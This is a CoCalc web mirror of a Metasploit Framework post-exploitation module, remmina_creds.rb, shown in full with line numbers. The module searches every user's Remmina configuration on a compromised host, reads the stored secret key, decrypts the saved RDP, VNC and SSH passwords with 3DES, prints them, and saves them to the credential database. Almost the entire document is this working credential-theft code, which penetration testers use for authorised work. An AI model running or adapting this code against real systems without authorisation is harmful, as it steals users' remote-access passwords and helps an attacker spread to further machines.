Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/multi/gather/remmina_creds.rb
19813 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::File
8
include Msf::Post::Unix
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'UNIX Gather Remmina Credentials',
15
'Description' => %q{
16
Post module to obtain credentials saved for RDP and VNC from Remmina's configuration files.
17
These are encrypted with 3DES using a 256-bit key generated by Remmina which is (by design)
18
stored in (relatively) plain text in a file that must be properly protected.
19
},
20
'License' => MSF_LICENSE,
21
'Author' => ['Jon Hart <jon_hart[at]rapid7.com>'],
22
'Platform' => %w[bsd linux osx unix],
23
'SessionTypes' => %w[shell meterpreter],
24
'Notes' => {
25
'Stability' => [CRASH_SAFE],
26
'SideEffects' => [],
27
'Reliability' => []
28
}
29
)
30
)
31
end
32
33
def run
34
creds = extract_all_creds
35
creds.uniq!
36
if creds.empty?
37
vprint_status('No Reminna credentials collected')
38
else
39
vprint_good("Collected #{creds.size} sets of Remmina credentials")
40
cred_table = Rex::Text::Table.new(
41
'Header' => 'Remmina Credentials',
42
'Indent' => 1,
43
'Columns' => %w[Host Port Service User Password]
44
)
45
46
creds.each do |cred|
47
cred_table << cred
48
report_credential(cred[3], cred[4])
49
end
50
51
print_line(cred_table.to_s)
52
end
53
end
54
55
def decrypt(secret, data)
56
c = OpenSSL::Cipher.new('des3')
57
c.decrypt
58
key_data = Base64.decode64(secret)
59
# the key is the first 24 bytes of the secret
60
c.key = key_data[0, 24]
61
# the IV is the last 8 bytes of the secret
62
c.iv = key_data[24, 8]
63
# passwords less than 16 characters are padded with nulls
64
c.padding = 0
65
p = c.update(Base64.decode64(data))
66
p << c.final
67
# trim null-padded, < 16 character passwords
68
p.gsub(/\x00*$/, '')
69
end
70
71
# Extracts all remmina creds found anywhere on the target
72
def extract_all_creds
73
creds = []
74
user_dirs = enum_user_directories
75
if user_dirs.empty?
76
print_error('No user directories found')
77
return creds
78
end
79
80
vprint_status("Searching for Remmina creds in #{user_dirs.size} user directories")
81
# walk through each user directory
82
enum_user_directories.each do |user_dir|
83
remmina_dir = ::File.join(user_dir, '.remmina')
84
pref_file = ::File.join(remmina_dir, 'remmina.pref')
85
next unless file?(pref_file)
86
87
remmina_prefs = get_settings(pref_file)
88
next if remmina_prefs.empty?
89
90
if (secret = remmina_prefs['secret'])
91
vprint_status("Extracted secret #{secret} from #{pref_file}")
92
else
93
print_error("No Remmina secret key found in #{pref_file}")
94
next
95
end
96
97
# look for any \d+\.remmina files which contain the creds
98
cred_files = dir(remmina_dir).map do |entry|
99
::File.join(remmina_dir, entry) if entry =~ /^\d+\.remmina$/
100
end
101
cred_files.compact!
102
103
if cred_files.empty?
104
vprint_status("No Remmina credential files in #{remmina_dir}")
105
else
106
creds |= extract_creds(secret, cred_files)
107
end
108
end
109
110
creds
111
end
112
113
def extract_creds(secret, files)
114
creds = []
115
files.each do |file|
116
settings = get_settings(file)
117
next if settings.empty?
118
119
# get protocol, host, user
120
proto = settings['protocol']
121
host = settings['server']
122
case proto
123
when 'RDP'
124
port = 3389
125
user = settings['username']
126
when 'VNC'
127
port = 5900
128
domain = settings['domain']
129
if domain.blank?
130
user = settings['username']
131
else
132
user = domain + '\\' + settings['username']
133
end
134
when 'SFTP', 'SSH'
135
# XXX: in my testing, the box to save SSH passwords was disabled
136
# so this may never work
137
user = settings['ssh_username']
138
port = 22
139
else
140
print_error("Unsupported protocol: #{proto}")
141
next
142
end
143
144
# get the password
145
encrypted_password = settings['password']
146
password = nil
147
unless encrypted_password.blank?
148
password = decrypt(secret, encrypted_password)
149
end
150
151
if host && user && password
152
creds << [ host, port, proto.downcase, user, password ]
153
else
154
missing = []
155
missing << 'host' unless host
156
missing << 'user' unless user
157
missing << 'password' unless password
158
vprint_error("No #{missing.join(',')} in #{file}")
159
end
160
end
161
162
creds
163
end
164
165
# Reads key=value pairs from the specified file, returning them as a Hash of key => value
166
def get_settings(file)
167
settings = {}
168
read_file(file).split("\n").each do |line|
169
if /^\s*(?<setting>[^#][^=]+)=(?<value>.*)/ =~ line
170
settings[setting] = value
171
end
172
end
173
174
vprint_error("No settings found in #{file}") if settings.empty?
175
settings
176
end
177
178
def report_credential(user, pass)
179
credential_data = {
180
workspace_id: myworkspace_id,
181
origin_type: :session,
182
session_id: session_db_id,
183
post_reference_name: refname,
184
username: user,
185
private_data: pass,
186
private_type: :password
187
}
188
189
create_credential(credential_data)
190
end
191
end
192
193